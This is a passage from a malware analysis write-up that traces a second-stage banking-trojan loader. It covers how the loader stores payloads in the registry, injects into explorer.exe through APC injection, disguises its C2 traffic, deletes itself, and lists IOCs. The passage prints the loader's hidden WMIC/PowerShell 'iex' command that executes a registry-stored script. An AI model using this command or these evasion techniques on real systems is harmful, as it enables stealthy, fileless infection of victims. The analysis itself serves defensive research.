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You might be wondering, what is this “WMIC Command”? Well, the loader actually creates

a command to execute the Powershell script, rather than calling Powershell directly, and it

can be seen below, and it essentially executes the Powershell script stored in basegcfg:

C:\Windows\system32\wbem\wmic.exe /output:clipboard process call create "powershell 
-w hidden iex([System.Text.Encoding]::ASCII.GetString((get-itemproperty 
'HKCU:\Software\AppDataLow\Software\Microsoft\17B9B5BC-8A83-619D-4C3B-
5E25409F7229').basegcfg))

This is then executed using COM API once again, rather than calling a well known API such

as ShellExecuteExW(), which is used to execute CMD.exe.

Once this function returns, we can now see all the data and registry keys that this loader

creates, although the next stage also utilizes this area of the registry, so try not to get

confused with different keys being added.

Once everything has been setup and executed, one last function is called in the loader, and it

is responsible for deleting the original file, leaving no visible trace of any infections. All it

does is use ShellExecuteExW() to execute CMD.exe, passing a command line argument

that executes ping against the localhost, and then deletes itself from the system, leaving the

next stage running silently.
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So, now we know how the loader functions, lets take a quick look at that powershell script

again:

So, we can see that it is calling VirtualAllocEx(), which is then used as the destination

argument for a call to Copy(), meaning the allocated memory will contain what we now

know is the (converted to integer) executable. Then, QueueUserAPC() is called, and as

described by John Arneson at Talos:

QueueUserAPC is executed, specifying the current thread within its process. This 
creates a user-mode APC and queues it within the thread. To execute the malicious 
DLL from the APC queue, the thread needs to enter an alertable state. SleepEx is 
used to trigger an alertable state completing the APC injection, by specifying 1 
(True) for its second parameter which is bAlertable.

By following execution of this script, we can see that it injects into explorer.exe – mainly due

to the fact that as soon as the script executes, we can see explorer.exe communicate out to

different C2 servers. Now I’m not entirely sure on how calling QueueUserAPC() on it’s

own thread enables the process to inject into explorer.exe, as most write-ups on APC

injection involve passing the thread of the process to inject into, and in this case it is passing

it’s own thread ID. Perhaps due to the fact that it is being executed with WMI? If you want

to learn more about APC injection, you can check out this great post by Pavel here.

So, that brings an end to this analysis! You can find a summary down below, as well as all

IOCs associated with this sample – and if you would like to get a hold of the PCAP that I

used, DM me on Twitter (@0verfl0w_), and I can pass it on! Hopefully you learnt

something from this post, and part 3 (the final stage), should be up fairly soon! Thanks for

reading!

https://blog.talosintelligence.com/2019/01/amp-tracks-ursnif.html
https://blogs.microsoft.co.il/pavely/2017/03/14/injecting-a-dll-without-a-remote-thread/
https://twitter.com/0verfl0w_
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Summary: 
   Parses "JJ" Structure to get RSA key + Configuration 
   Utilizes COM API to communicate to C2 servers through Internet Explorer 
       Alters three registry keys to run silently: 
           SOFTWARE\Microsoft\Internet Explorer\Main\IE10RunOnceLastShown_TIMESTAMP 
           SOFTWARE\Microsoft\Internet Explorer\Main\IE8RunOnceLastShown_TIMESTAMP 
           SOFTWARE\Microsoft\Internet Explorer\Main\Check_Associations 
       Generates string to use in communication with C2 servers: 
           
soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x&uptime=%u 
       The string is Serpent CBC encrypted, with the 16 byte config key + 16 byte 
nulled IV 
       A random string is prepended, the string is Base64 encoded, '+' and '/' are 
replaced with  
       hex equivalents, random '/' are added to string, '/images/' is prepended and 
'.avi' is  
       appended 
       The last 64 bytes of the received data from the C2 is RSA decrypted using 
the RSA key 
       This block contains the MD5 hash of decrypted data, the Serpent key to 
decrypt, and the 
       size of the data to decrypt 
       The loader reaches out 3 times, the first two to get a 32 and 64 bit 
executable, and the 
       third to get a Powershell script used for APC injection later on 
   The correct executable (architecture wise) is converted to integers and input 
into the Powershell 
   script, replacing @CODE@ 
   Four registry keys are created, containing the two downloaded, encrypted 
executables, the 
   Powershell script, and a WMIC command executing the Powershell script 
       Client32: Encrypted client 32 bit binary (Rotating XOR algorithm) 
       Client64: Encrypted client 64 binary (Rotating XOR algorithm) 
       basegcfg: Powershell "script" containing  
       apiMider: WMIC Command pointing to Powershell script 
   The loader then uses COM API to execute apiMider, executing the Powershell 
script that uses 
   APC injection to inject the downloaded executable into explorer.exe 
   The loader executes CMD.exe that executes ping.exe against the localhost, and 
deletes itself 
   from the system 
   The loader then exits, leaving the final stage running in explorer.exe

IOCs: 
   MD5 of Second Stage Loader: 52b4480de6f4d4f32fba2b535941c284 
   MD5 of x32 Downloaded Executable: 14373f33e1907b5d82747bed1f1aacaf 
   MD5 of x64 Downloaded Executable: 468d291ca5e63470a351ac73ff3621ba
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